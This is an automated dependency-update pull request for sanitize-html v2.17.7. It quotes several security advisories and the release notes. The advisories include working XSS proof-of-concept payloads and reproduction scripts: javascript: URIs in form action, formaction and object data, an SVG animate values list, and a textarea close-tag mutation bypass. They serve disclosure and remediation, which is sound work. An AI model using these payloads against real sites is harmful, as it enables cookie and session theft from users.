chore(deps): update dependency sanitize-html to v2.17.7 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
sanitize-html (source)	2.17.0 → 2.17.7

---

sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes

CVE-2026-53606 / GHSA-vccv-cmxp-4j9h

More information

Details

Summary

sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.

The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.

Severity

Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.

Affected Versions

All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.

Root Cause

File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)

// Line 329 — The gate that controls scheme validation
if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
    if (naughtyHref(name, value)) {
        delete frame.attribs[a];
        return;
    }
}

Default list at line 829:

allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],

The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.

When attribute name is action, formaction, data, poster, background, etc.:

• indexOf('action') returns -1
• The if block is skipped entirely
• naughtyHref() is never called
• javascript:alert(1) passes through unmodified

The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).

Data Flow:

Attacker input: <form action="javascript:alert(document.cookie)">
1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}
2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS
3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()
4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged
5. OUTPUT: <form action="javascript:alert(document.cookie)">

Steps to Reproduce

const sanitize = require('sanitize-html');

// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====
const v1 = sanitize(
    '<form action="javascript:alert(document.cookie)"><button>Submit</button></form>',
    {
        allowedTags: ['form', 'button'],
        allowedAttributes: { form: ['action'] }
    }
);
console.log('V1 (action):', v1);
// OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form>
// XSS triggers when user submits the form

// ===== VECTOR 2: button formaction (100% reliable) =====
const v2 = sanitize(
    '<button formaction="javascript:alert(1)">Click</button>',
    {
        allowedTags: ['button'],
        allowedAttributes: { button: ['formaction'] }
    }
);
console.log('V2 (formaction):', v2);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>

// ===== VECTOR 3: object data =====
const v3 = sanitize(
    '<object data="javascript:alert(1)"></object>',
    {
        allowedTags: ['object'],
        allowedAttributes: { object: ['data'] }
    }
);
console.log('V3 (data):', v3);
// OUTPUT: <object data="javascript:alert(1)"></object>

// ===== CONTROL: href IS scheme-checked (expected behavior) =====
const ctrl = sanitize(
    '<a href="javascript:alert(1)">click</a>',
    {
        allowedTags: ['a'],
        allowedAttributes: { a: ['href'] }
    }
);
console.log('Control (href):', ctrl);
// OUTPUT: <a>click</a>   ← href correctly stripped by naughtyHref()

Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.

Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.

Impact

An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:

• <form action="javascript:..."> — XSS on form submission (all modern browsers)
• <button formaction="javascript:..."> — per-button XSS override (all modern browsers)
• <object data="javascript:..."> — object load XSS (Chrome, Firefox)
• <video poster="javascript:..."> — limited browser support but spec-valid

Common vulnerable configurations:

• CMS platforms allowing form elements for user-generated content
• Form builder applications
• Rich text editors with extended tag allowlists
• Email template editors allowing media/embed tags

Mitigating factors:

• Default configuration is NOT vulnerable
• Requires double opt-in: non-default tag + non-default attribute
• CSP form-action directive mitigates form-based vectors
• Developers CAN manually add attributes to allowedSchemesAppliedToAttributes

Remediation

Option 1 (Recommended): Expand the default allowedSchemesAppliedToAttributes list:

// index.js line 829, change from:
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],

// to:
allowedSchemesAppliedToAttributes: [
    'href', 'src', 'cite', 'action', 'formaction',
    'data', 'poster', 'background', 'ping',
    'xlink:href', 'dynsrc', 'lowsrc'
],

Option 2: Apply naughtyHref() to ALL attributes by default (invert the gate logic).

Option 3: Add a runtime warning when developers allow URI-bearing attributes not in allowedSchemesAppliedToAttributes (analogous to vulnerableTags warning for script/style at lines 124-129).

Reporter

Kevin Lee (Changseon Lee)
OPCIA Corp. / PeanutAI Inc.
Seoul, South Korea
GitHub: crattack

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vccv-cmxp-4j9h
• https://nvd.nist.gov/vuln/detail/CVE-2026-53606
• https://github.com/apostrophecms/apostrophe/pull/5464
• https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b
• https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.17.5
• https://github.com/advisories/GHSA-vccv-cmxp-4j9h

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

CVE-2026-84371 / GHSA-g8qq-57p8-ggw5

More information

Details

Summary

When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.

Details

index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.

PoC

This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:

const sanitize = require('sanitize-html');

const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
  allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
  allowedAttributes: {
    ...sanitize.defaults.allowedAttributes,
    animate: ['attributename', 'values', 'dur', 'fill'],
    text: ['y']
  },
  allowedSchemesAppliedToAttributes:
    sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);

Install and run it, then open poc.html and click Click me:

npm install sanitize-html@2.17.6
node poc.js > poc.html

The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.

Impact

In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.

Suggested fix

Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5
• https://github.com/apostrophecms/apostrophe/pull/5552
• https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081
• https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949
• https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md
• https://github.com/advisories/GHSA-g8qq-57p8-ggw5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ApostropheCMS: Mutation-XSS / allowedTags bypass via literal </textarea/> solidus close

CVE-2026-63670 / GHSA-jxwj-j7wr-gfrw

More information

Details

Summary

A mutation-XSS / allowedTags bypass: when textarea (or xmp) is included in allowedTags, an input containing a literal </textarea/> (a solidus right after the RCDATA end-tag name) lets non-allowed markup such as <img src=x onerror=…> pass through sanitizeHtml() live and unescaped, even though img/onerror are not in the allowlist. A spec-compliant browser executes the surviving handler — XSS. This is a literal-solidus variant that bypasses the two most recent fixes in this code area (CVE-2026-40186, CVE-2026-44990), both already applied in 2.17.5. The default configuration is not affected.

Details

sanitize-html emits the text content of HTML raw-text elements (textarea, xmp) without escaping. Two things combine:

• Parser differential: on input, htmlparser2 does NOT recognize </textarea/> (solidus after the RCDATA
  end-tag name) as a close tag; it emits </textarea/><img …> as a single raw-text node.
• Unescaped passthrough: the ontext handler (index.js ~575-583) appends textarea/xmp content with
  result += text (no escapeHtml), assuming it is "already properly encoded" — true for entity-decoded
  content (what CVE-2026-40186 fixed) but false for this mis-tokenized literal close tag.
  A spec browser treats </textarea/> as a valid textarea close, so the following <img onerror> is parsed as a live element. The recent fixes addressed entity-encoding (CVE-2026-40186) and the xmp default (CVE-2026-44990); neither covers the literal-solidus mis-tokenization, so the raw passthrough still leaks.

PoC

// npm i sanitize-html@2.17.5 parse5 && node poc.js
const sanitizeHtml = require('sanitize-html');
const input = '<textarea></textarea/><img src=x onerror="alert(document.domain)">';
const opts  = { allowedTags: sanitizeHtml.defaults.allowedTags.concat(['textarea']) };  // img NOT allowed
console.log(sanitizeHtml(input, opts));
// => <textarea></textarea/><img src=x onerror="alert(document.domain)"></textarea>
//    the <img onerror> survives live and unescaped

console.log(sanitizeHtml(input));   // default config (no textarea allowed) => ""  (safe)

Re-parsing the sanitized OUTPUT with parse5 (the WHATWG HTML parser browsers/jsdom use) yields a live
<img src=x onerror=alert(document.domain)> at body level (it escaped the textarea RCDATA, not inert text) → the onerror fires in a browser. Confirmed on 2.17.5 (Node v24). A canonical poc.js is attached.

Impact

Cross-site scripting (CWE-79). Requires textarea (or xmp) in allowedTags — a benign-looking, common addition in form builders, CMS, and rich-text editors. Adding a harmless tag that then enables XSS via non-allowed img/onerror breaks the sanitizer's core contract; the maintainers have fixed this class before (e.g. GHSA-9mrh). An attacker who can submit content rendered through such a configuration achieves stored/reflected XSS (cookie theft, session hijack). Severity Medium (default config is safe; user interaction to view the page). Suggested fix: route textarea/xmp content through escapeHtml instead of the raw passthrough, and/or fix the htmlparser2 </tag/> RCDATA end-tag tokenization to match the WHATWG spec.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-jxwj-j7wr-gfrw
• https://nvd.nist.gov/vuln/detail/CVE-2026-63670
• https://github.com/apostrophecms/apostrophe/pull/5501
• https://github.com/apostrophecms/apostrophe/commit/eae1fb2b72ec5d1c27d0977509c6482a0408f725
• https://github.com/advisories/GHSA-jxwj-j7wr-gfrw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

apostrophecms/apostrophe (sanitize-html)

v2.17.7

Compare Source

Security

• Fixed an XSS / URL scheme policy bypass affecting configurations that allow the SVG animation elements (animate, animateColor, animateMotion, animateTransform or set) together with attributeName and one of the animation value attributes. The default configuration was not affected, as these elements are not in the default allowedTags. apostrophecms was not affected. Thanks to koyokr for responsibly disclosing the vulnerability (GHSA-g8qq-57p8-ggw5).

v2.17.6

Compare Source

Adds

• Added a logger option: pass any console-shaped object, with debug, info, warn and error methods, and sanitize-html's own diagnostics are delivered to it rather than to the console, so an application with a logging pipeline of its own can route them. Missing methods, and no option at all, fall back to the console. Those messages also lost their decorative line breaks and warning icon, so each is now a single line of text; their wording is otherwise unchanged.

Fixes

• allowedSchemesByTag is now applied to srcset and imagesrcset URLs. Previously the per-tag lookup used the attribute name instead of the tag name, so these attributes always fell back to the global allowedSchemes and ignored a tag-specific scheme allowlist. Thanks to
  spokodev for the fix.
• Starting in version 2.17.6, sanitize-html began escaping any markup preserved inside a disallowed iframe tag, which was a change
  in behavior due to an upstream change in htmlparser2. This fix ensures such "fallback markup" is preserved without escaping, but also
  fully sanitized according to the same rules as the original input. Thanks to sumitjhacodes for
  the fix.

Security

• When meta was allowed together with its http-equiv and content attributes, the destination URL of a <meta http-equiv="refresh" content="0;url=..."> was never checked against allowedSchemes, because it is embedded in content rather than being an attribute of its own. So javascript:, data: and other disallowed destinations passed through. The refresh URL is now extracted the way browsers do it, allowing for the different spellings, separators, quoting and letter case of url=, and checked against allowedSchemes (or allowedSchemesByTag.meta). If it is rejected, or the content cannot be parsed as a refresh, the content attribute is removed. content on other meta elements is unchanged. The default configuration does not allow meta and was not affected (CWE-79, CWE-601, GHSA-cv27-6wvh-8x7j).

  Thanks to adrbogacz for reporting the vulnerability.

• When noscript is listed in nonTextTags, the discarded region could end too early. Browsers with scripting enabled treat <noscript> content as raw text up to the first </noscript>, but the underlying parser treats it as markup, so an end tag for an enclosing element inside <noscript> closed it implicitly and the rest of its content was emitted as ordinary sanitized markup. The discard region now continues until the point where a browser would end the <noscript> element, while implied closes of other nonTextTags such as <option> behave as before (CWE-79, CWE-436, GHSA-x3q4-9hxx-gx8m).

  Thanks to joaquiniglesiaslug for reporting the vulnerability.

• The check that drops SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when they retarget a URL attribute such as href compared the full tag name, so a namespace-prefixed spelling like svg:animate was not recognized when such tags were allowed (for example with allowedTags: false). In XML serializations such as XHTML or standalone SVG, the prefixed element is a real animation element and could retarget a link to a javascript: URL after sanitization. The element and attributeName are now matched by their local names, ignoring any prefix (CWE-79, CWE-184, GHSA-374f-7chj-9948).

  Thanks to Kai Aizen (SnailSploit) for reporting the vulnerability.

v2.17.5

Compare Source

Security

• Added a number of new attributes to be protected against unsafe URLs, e.g. javascript: and similar. None of these are used in the default configuration of sanitize-html or apostrophe or likely to be used there, and some attributes, like an action for a form, are inherently unsafe to allow if XSS protection is your goal. Nevertheless it makes sense to block certain URL types where they are not appropriate. Some attributes are not supported at all by modern browsers but are included for completeness. Thanks to crattack for reporting the vulnerability.
• Address a potential vulnerability when nonTextTags is configured in a nonstandard way. While it is never a good idea to remove known non-text tags from the standard list e.g. script, styles, etc., this change ensures that doing so does not result in nested tags being passed through without sanitization when they are not expressly allowed. (ApostropheCMS would never trigger this situation.) Thanks to Dipanshu singh for pointing out the issue and contributing the fix.

v2.17.4

Compare Source

Changes

• sanitize-html and launder now share a single implementation of naughtyHref, based on that which previously existed in sanitize-html.

Security

• Security vulnerability: the xmp tag could be used to pass forbidden markup through sanitize-html, even when xmp itself is not explicitly allowed All users of sanitize-html should update immediately. Thanks to Vincenzo Turturro for reporting the vulnerability.

v2.17.3

Compare Source

Security

• Fix vulnerability introduced in version 2.17.2 that allowed XSS attacks if the developer chose to permit option tags. There was no vulnerability when not explicitly allowing option tags.

v2.17.2

Compare Source

Changes

• Upgrade htmlparser2 from 8.x to 10.1.0. This improves security by correctly decoding zero-padded numeric character references (e.g., &#​0000001) that previously bypassed javascript: URL detection. Also fixes double-encoding of entities inside raw text elements like textarea and option.

v2.17.1

Compare Source

Fixes

• Fix unclosed tags (e.g., <hello) returning empty string in escape and recursiveEscape modes. Fixes #​706.
  Thanks to Byeong Hyeon for the fix.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.